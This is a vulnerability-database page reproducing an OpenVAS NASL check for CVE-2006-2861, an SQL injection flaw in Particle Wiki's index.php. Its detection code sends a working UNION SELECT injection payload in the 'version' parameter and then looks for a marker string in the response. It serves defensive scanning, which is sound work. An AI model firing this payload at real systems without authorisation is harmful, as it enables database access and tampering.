Lucene search

K
openvasThis script is Copyright (C) 2010 Greenbone Networks GmbHOPENVAS:100837
HistoryOct 04, 2010 - 12:00 a.m.

Particle Wiki Index.PHP SQL Injection Vulnerability

2010-10-0400:00:00
This script is Copyright (C) 2010 Greenbone Networks GmbH
plugins.openvas.org
10

EPSS

0.009

Percentile

82.6%

Particle Wiki is prone to an SQL-injection vulnerability. This issue
is due to a failure in the application to properly sanitize user-
supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the
application, access or modify data, or exploit vulnerabilities in the
underlying database implementation.

###############################################################################
# OpenVAS Vulnerability Test
# $Id: gb_particle_wiki_18273.nasl 5323 2017-02-17 08:49:23Z teissa $
#
# Particle Wiki Index.PHP SQL Injection Vulnerability
#
# Authors:
# Michael Meyer <[email protected]>
#
# Copyright:
# Copyright (c) 2010 Greenbone Networks GmbH
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2
# (or any later version), as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################

tag_summary = "Particle Wiki is prone to an SQL-injection vulnerability. This issue
is due to a failure in the application to properly sanitize user-
supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the
application, access or modify data, or exploit vulnerabilities in the
underlying database implementation.";

tag_solution = "The vendor released an update. Please see the references for more
information.";

if (description)
{
 script_id(100837);
 script_version("$Revision: 5323 $");
 script_tag(name:"last_modification", value:"$Date: 2017-02-17 09:49:23 +0100 (Fri, 17 Feb 2017) $");
 script_tag(name:"creation_date", value:"2010-10-04 14:08:22 +0200 (Mon, 04 Oct 2010)");
 script_bugtraq_id(18273);
 script_tag(name:"cvss_base", value:"7.5");
 script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_cve_id("CVE-2006-2861");
 script_name("Particle Wiki Index.PHP SQL Injection Vulnerability");

 script_xref(name : "URL" , value : "https://www.securityfocus.com/bid/18273");
 script_xref(name : "URL" , value : "http://pridels0.blogspot.com/2006/06/particle-wiki-sql-inj.html");
 script_xref(name : "URL" , value : "http://www.particlesoft.net/particlewiki/");
 script_xref(name : "URL" , value : "http://www.particlesoft.net/kb-16.htm");

 script_tag(name:"qod_type", value:"remote_vul");
 script_category(ACT_ATTACK);
 script_family("Web application abuses");
 script_copyright("This script is Copyright (C) 2010 Greenbone Networks GmbH");
 script_dependencies("gb_particle_wiki_detect.nasl");
 script_require_ports("Services/www", 80);
 script_exclude_keys("Settings/disable_cgi_scanning");
 script_tag(name : "solution" , value : tag_solution);
 script_tag(name : "summary" , value : tag_summary);
 exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("version_func.inc");
   
port = get_http_port(default:80);
if(!get_port_state(port))exit(0);
if(!can_host_php(port:port))exit(0);

if(!dir = get_dir_from_kb(port:port,app:"particle_wiki"))exit(0);
  
url = string(dir, "/index.php?version=-1%20union%20select%201,1,1,1,1,0x4f70656e5641532d53514c2d496e6a656374696f6e2d54657374%20--"); 
req = string("GET ",url," HTTP/1.1\r\nHost: ", get_host_name(),"\r\n\r\n");
buf = http_send_recv(port:port,data:req);

if("OpenVAS-SQL-Injection-Test" >< buf) {

  security_message(port:port);
  exit(0);

}

exit(0);

EPSS

0.009

Percentile

82.6%